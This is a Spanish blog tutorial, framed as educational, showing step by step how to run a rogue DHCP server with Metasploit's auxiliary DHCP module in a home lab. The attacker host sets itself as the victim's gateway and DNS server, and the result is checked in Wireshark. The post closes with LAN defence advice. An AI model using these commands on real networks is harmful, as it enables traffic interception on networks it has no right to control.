Esta entrada ha sido creada únicamente con fines educativos, nunca para su uso ilícito. Se pretende explicar el funcionamiento de ataques contra una red de área local usando un servidor DHCP falso.
En una entrada anterior explicábamos lo que es un servidor DHCP y el funcionamiento del protocolo para la asignación de direcciones dinámicas, para leerlo pincha aquí.
En esta entrada vamos a ver como realizar un ataque sobre una red de área local (LAN) levantando un servidor DHCP falso con Metasploit Framework y ofreciendo IPs de un rango determinado para poder acotar las direcciones IP a las que realizar cualquier actividad de seguridad, por ejemplo en busca de vulnerabilidades.
Estas direcciones IP serán ofrecidas tanto a los equipos que soliciten una IP por primera vez como a los que negocien su renovación.
Vamos al lío!!!
Tabla de contenidos
INTRO
Vamos a realizar un ataque dentro de una LAN levantando un servidor DHCP falso con Metasploit Framework y un payload específico para este tipo de ataques, que nos permita acotar las direcciones IP sobre las que realizar actividades de seguridad.
ENTORNO
El entorno que vamos a utilizar es el siguiente:
- Red de área local (LAN).
- Router/GW con servidor DHCP incorporado.
- Host atacante con Parrot instalado.
- Host víctima con Ubuntu instalado.
ATAQUE
Primero vamos a levantar el servidor DHCP falso y luego reiniciamos la interfaz de red de la víctima, la cual tiene la siguiente IP asignada en estos momentos:
Y la IP del host atacante que tiene asignada y que usaremos para la configuración del ataque:
Inicio DHCP falso
Primero debemos de arrancar el motor de base de datos postresql para su uso con Metasploit.
┌─[root@parrot]─[/] └──╼ #service postgresql start ┌─[root@parrot]─[/] └──╼ #service postgresql status ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres Active: active (exited) since Sun 2019-02-03 21:35:40 CET; 2min 30s ago Process: 1591 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 1591 (code=exited, status=0/SUCCESS) feb 03 21:35:40 parrot systemd[1]: Starting PostgreSQL RDBMS... feb 03 21:35:40 parrot systemd[1]: Started PostgreSQL RDBMS.
Posteriormente iniciamos la consola de Metasploit Framework.
┌─[root@parrot]─[/] └──╼ #msfconsole (`. ,-, ` `. ,;' / `. ,'/ .' `. X /.' .-;--''--.._` ` ( .' / ` , ` ' Q ' , , `._ \ ,.| ' `-.;_' : . ` ; ` ` --,.._; ' ` , ) .' `._ , ' /_ ; ,''-,;' ``- ``-..__``--` https://metasploit.com =[ metasploit v4.17.25-dev ] + -- --=[ 1828 exploits - 1033 auxiliary - 318 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
Una vez arrancado cargamos el payload auxiliary/server/dhcp en la consola de MSF.
msf > use auxiliary/server/dhcp msf auxiliary(server/dhcp) >
Vemos las opciones cargadas por defecto, las cuales lógicamente estarán vacías .
msf auxiliary(server/dhcp) > show options Module options (auxiliary/server/dhcp): Name Current Setting Required Description ---- --------------- -------- ----------- BROADCAST no The broadcast address to send to DHCPIPEND no The last IP to give out DHCPIPSTART no The first IP to give out DNSSERVER no The DNS server IP address DOMAINNAME no The optional domain name to assign FILENAME no The optional filename of a tftp boot server HOSTNAME no The optional hostname to assign HOSTSTART no The optional host integer counter NETMASK yes The netmask of the local subnet ROUTER no The router IP address SRVHOST yes The IP of the DHCP server Auxiliary action: Name Description ---- ----------- Service
Cargamos las opciones con la configuración que queremos aplicar, como el rango de IPs a servir desde el servidor DHCP, servidor DNS, Gateway, … que será siempre el host atacante.
msf auxiliary(server/dhcp) > set DHCPIPSTART 192.168.0.200 DHCPIPSTART => 192.168.0.200 msf auxiliary(server/dhcp) > set DHCPIPEND 192.168.0.203 DHCPIPEND => 192.168.0.203 msf auxiliary(server/dhcp) > set DNSSERVER 192.168.0.23 DNSSERVER => 192.168.0.23 msf auxiliary(server/dhcp) > set NETMASK 255.255.255.0 NETMASK => 255.255.255.0 msf auxiliary(server/dhcp) > set ROUTER 192.168.0.23 ROUTER => 192.168.0.23 msf auxiliary(server/dhcp) > set SRVHOST 192.168.0.23 SRVHOST => 192.168.0.23
Confirmamos la configuración cargada.
msf auxiliary(server/dhcp) > show options Module options (auxiliary/server/dhcp): Name Current Setting Required Description ---- --------------- -------- ----------- BROADCAST no The broadcast address to send to DHCPIPEND 192.168.0.203 no The last IP to give out DHCPIPSTART 192.168.0.200 no The first IP to give out DNSSERVER 192.168.0.23 no The DNS server IP address DOMAINNAME no The optional domain name to assign FILENAME no The optional filename of a tftp boot server HOSTNAME no The optional hostname to assign HOSTSTART no The optional host integer counter NETMASK 255.255.255.0 yes The netmask of the local subnet ROUTER 192.168.0.23 no The router IP address SRVHOST 192.168.0.23 yes The IP of the DHCP server Auxiliary action: Name Description ---- ----------- Service
Arrancamos el programa Wireshark para ver los paquetes DHCP que el servidor atacante va a enviar, aplicando el filtro bootp.
Ahora arrancamos el servidor DHCP falso.
msf auxiliary(server/dhcp) > run [*] Auxiliary module running as background job 0. msf auxiliary(server/dhcp) > [*] Starting DHCP server...
En estos momentos el servidor atacante enviará DHCP ACK por broadcast a toda la red, con el fin de que cualquier petición DHCP le llegue a este y no al GW original.
Solicitud de IP víctima
Reiniciamos la interfaz de red del host víctima y observamos como la IP que se le asigna corresponde al rango que configuramos en el servidor atacante. Lo mismo ocurriría si reiniciamos o arrancamos el servidor sin una IP previamente asignada.
En la consola de Wireshark observamos como las peticiones DHCP que se lanzan por broadcast son enviadas por el host atacante.
Y a la vez comprobamos como la MAC del equipo que está ofreciendo las direcciones dinámicas corresponde con la del host atacante.
CONCLUSIÓN
Debemos de tener mucho cuidado con la seguridad en nuestras redes LAN para evitar que un atacante acceda y pueda realizar actividades, como la expuesta en esta entrada. También debemos de tener bajo control cualquier usuario y equipo que pueda estar conectado a nuestra red, para identificar posibles intrusos.
Para ello debemos de aplicar medidas de protección tanto en la red Wifi como cableada, agregando mecanismos de control de acceso por MAC, fortalecer las contraseñas con políticas más seguras y robustas, o simplemente llevar un control de qué equipos hay conectados en cada momento.
ENLACES
Metasploit Wikipedia, pincha aquí.
Metasploit oficial, pincha aquí.
Wireshark, pincha aquí.